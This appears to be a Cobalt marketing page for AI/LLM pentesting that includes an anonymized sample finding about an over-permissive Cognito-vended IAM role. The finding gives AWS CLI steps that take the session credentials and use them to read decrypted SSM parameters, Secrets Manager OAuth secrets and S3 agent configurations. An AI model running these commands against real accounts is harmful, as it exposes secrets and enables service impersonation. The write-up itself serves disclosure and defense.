Secure every application with flexible pentesting that combines expert-led testing, autonomous validation, and actionable results
Learn moreIdentify exploitable risk across external networks, internal infrastructure, and cloud environments
Learn moreExtend your offensive security program with specialized assessments, adversarial testing, code review, and program-level support
Learn moreAI and LLM applications move data and make decisions in ways conventional applications do not, and the failure modes follow the model, not the perimeter.
Your teams are releasing AI features faster than traditional testing can keep up. Scanners cannot reason about any of these AI related issues, and the teams shipping AI fastest are the ones carrying the most untested exposure.
Cobalt follows an industry-leading methodology informed by the OWASP Top 10 for Large Language Model Applications, refined over three years of AI and LLM testing at scale. Human-led testing goes where automation cannot, probing how your model handles adversarial input, and AI accelerates reconnaissance and triage so pentesters spend their time on exploitation and business logic. Cobalt pentesters help write the standards your auditors and customers are asking about, contributing directly to the OWASP Top 10 for LLM Applications.
The AI chat application vends short-lived AWS credentials to authenticated end-user browser sessions via a Cognito identity pool. These credentials are scoped to a single IAM role intended only for client-side operations. In practice, the role's IAM policy grants significantly broader permissions: it allows reading and decrypting internal SSM Parameter Store entries under a server-side configuration path, retrieving live Secrets Manager secrets containing machine-to-machine OAuth credentials for the agentic backend, retrieving an analytics signing key bundle from a second Secrets Manager secret, and listing and reading internal agentic framework configuration files from an S3 bucket path intended for backend use only.
A standard authenticated employee session was used to obtain the Cognito-vended AWS credentials. Using only the AWS CLI configured with those credentials, the following server-side assets were fully accessible without any additional privilege escalation.
[llm-chat-api-domain] — AI chat application API backend/chat/v3/uat/server/* — server-side configuration including client secretsuat/agentic-chat/cognito-m2m-credential-details — M2M OAuth credentialschat-v3-uat-secrets-analytics — analytics signing key bundles3://[chat-s3-bucket]/config/agenticframework/adminpro/ — agentic framework configurationStep 1: Authenticate as any standard user and intercept the response containing the Cognito-vended AWS credentials (AccessKeyId, SecretAccessKey, SessionToken).
Step 2: Configure the AWS CLI with the obtained credentials:
export AWS_ACCESS_KEY_ID=$ACCESS_KEY_IDexport AWS_SECRET_ACCESS_KEY=$SECRET_ACCESS_KEYexport AWS_SESSION_TOKEN=$SESSION_TOKENexport AWS_DEFAULT_REGION=us-east-1Step 3: List and read internal agentic framework configuration files from the S3 backend path:
aws s3 ls s3://[chat-s3-bucket]/config/agenticframework/adminpro --recursive# Returns:config/agenticframework/adminpro/agent-configs.yamlconfig/agenticframework/adminpro/tool-configs.yamlconfig/agenticframework/templates/agent-template.yamlFiles contain agent prompt content, tool wiring configuration, model identifiers, and internal backend service endpoint references.
Step 4: Retrieve server-side client secrets from SSM Parameter Store:
aws ssm get-parameters-by-path --path /chat/v3/uat/server --with-decryption --recursive# Returns plaintext values for:# [client-api-secret-1], [client-portal-secret-1],# [client-llm-response-secret-1], [client-llm-anonymizer-secret-1],# [client-llm-agent-secret-1], jwt-secretStep 5: Retrieve the M2M OAuth credential secret from Secrets Manager:
aws secretsmanager get-secret-value --secret-id uat/agentic-chat/cognito-m2m-credential-details# Returns: client_id, client_secret, token_endpoint, scope# (machine-to-machine credentials used by the agentic backend)A standard authenticated user obtains all server-side secrets and internal agent configuration in a single AWS CLI session. Exposed material includes active M2M OAuth credentials sufficient to impersonate the agentic backend, multiple API client secrets, a JWT signing key, an analytics signing key bundle with active key metadata, and the complete agent prompt, tool wiring, and configuration for the internal AI agent.
Possession of these secrets enables an attacker to impersonate backend services, forge authenticated API calls, extract the agent's internal instructions and tool definitions, and potentially manipulate the agentic framework's behavior at the configuration level.
[target-domain], [api-target-domain], [web-target-domain], [mobile-api-target-domain], or [llm-chat-api-domain].[tenant-domain]; application display names retained where they identify Microsoft tooling.[test-user], [password], or <REDACTED_API_KEY> placeholders.[support-platform-domain].[target-domain] — IP addresses removed.[chat-demo-url].[internal-ca-host].[api-target-domain] and [mobile-api-target-domain].
Secure your AI and LLM applications with AI-powered continuous offensive security testing grounded in human expertise from Cobalt. Access findings and remediate risk in real time through the Cobalt Offensive Security Platform.